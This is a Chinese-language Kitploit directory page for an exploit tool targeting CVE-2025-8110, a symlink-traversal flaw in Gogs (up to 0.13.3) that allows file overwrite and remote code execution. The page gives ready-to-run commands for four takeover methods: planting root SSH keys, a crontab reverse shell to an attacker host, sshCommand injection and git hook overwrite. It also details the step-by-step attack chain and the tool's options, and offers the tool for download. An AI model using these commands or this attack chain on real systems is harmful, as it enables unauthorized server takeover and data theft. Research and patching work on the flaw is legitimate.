Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs Symlink Traversal → RCE

4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2025-8110 — Gogs 符号链接遍历 → RCE

概述

CVE-2025-8110 是 Gogs(自托管 Git 服务)<= 0.13.3 版本中的一个严重漏洞。PutContents API 对文件路径进行目录遍历(../)校验,但在写入前未解析符号链接。认证用户可提交一个包含指向任意服务器文件的符号链接的 commit,然后对那个符号链接调用 PutContents,从而以攻击者控制的内容覆写真实文件。

这是先前 CVE-2024-55947 修复的绕过——该修复只解决了直接路径遍历,而未解决基于符号链接的遍历。

详细信息值
CVECVE-2025-8110
影响范围Gogs <= 0.13.3
修复版本Gogs 0.13.4
类型认证后的任意文件写入 → RCE
CVSS8.8(高危)
组件PutContents API(/api/v1/repos/:owner/:repo/contents/:path)

前置要求

  • Python 3.8+
  • requests(pip install requests)
  • git 命令行
  • 目标实例上的有效 Gogs 账户

RCE 策略

本利用支持 4 种内置 RCE 策略 以及一个通用文件写入模式:

使用方法

root@kitploit:~
# 检查目标是否易受攻击(无需凭据)
python3 exploit.py http://target:3000 --check-only

# 策略 A:种植 SSH 密钥以获得 root 访问权限
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# 策略 B:Crontab 反弹 Shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# 策略 C:sshCommand 注入
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# 策略 D:Git Hook 注入
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# 通用文件写入
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# 从本地文件写入
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

攻击链详情

  1. 认证 — 通过 Basic Auth 创建 API 令牌(POST /api/v1/users/:user/tokens)- 通过 API 令牌登录(Basic Auth)
  2. 创建仓库 — POST /api/v1/user/repos,设置 auto_init: true(POST /api/v1/user/repos (auto_init))
  3. 推送符号链接 — 通过 HTTP 克隆仓库(凭据嵌入在 URL 中),创建指向目标文件的符号链接,提交并推送(git clone -> os.symlink(target) -> git push)
  4. 通过符号链接写入 — PUT /api/v1/repos/:owner/:repo/contents/:link,附带 base64 编码的内容。Gogs 在磁盘上解析符号链接并写入真实文件(PUT /api/v1/repos/.../contents/linkn_ame)
  5. 触发 RCE — RCE 触发方式取决于策略(SSH 登录、cron 执行、sshCommand 评估或 hook 执行)

选项

root@kitploit:~
target                  Gogs 基础 URL(例如 http://target:3000)

认证相关:
  -u, --user            Gogs 用户名
  -p, --password        Gogs 密码

RCE 策略:
  --rce-keys PUBKEY     种植 SSH 公钥 → /root/.ssh/authorized_keys
  --rce-cron            反弹 Shell → /etc/crontab
  --rce-ssh             污染 .git/config sshCommand 并触发
  --rce-hook            覆写 pre-receive hook 并触发
  --write               通用任意文件写入

连接 / Payload:
  --lhost LHOST         用于反弹 Shell 的攻击者 IP
  --lport LPORT         用于反弹 Shell 的攻击者端口
  --target-file PATH    要覆写的服务器端路径(--write 模式)
  --content STRING      要写入的内容
  --content-file FILE   要写入的本地文件

其他选项:
  --repo NAME           仓库名称(默认为随机)
  --cleanup             完成后删除利用仓库
  -o, --output FILE     报告文件(默认为 loot.json)
  --timeout SECONDS     请求超时(默认为 15)
  --proxy URL           用于调试的 HTTP 代理
  --check-only          仅检查目标是否为 Gogs,不进行利用

参考

  • Wiz 研究博客
  • NVD — CVE-2025-8110
  • Gogs 修复 PR #8078
  • GHSA-mq8m-42gh-wq7r

免责声明

本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。作者不对任何滥用行为负责。请仅在您拥有明确书面许可的系统上使用。

下载工具
策略标志目标文件触发方式
A — SSH 密钥--rce-keys/root/.ssh/authorized_keysSSH 登录
B — Crontab--rce-cron/etc/crontab自动(60 秒内)
C — sshCommand--rce-ssh.git/configSSH Git 操作
D — Git Hook--rce-hookhooks/pre-receivegit push
通用--write任意路径手动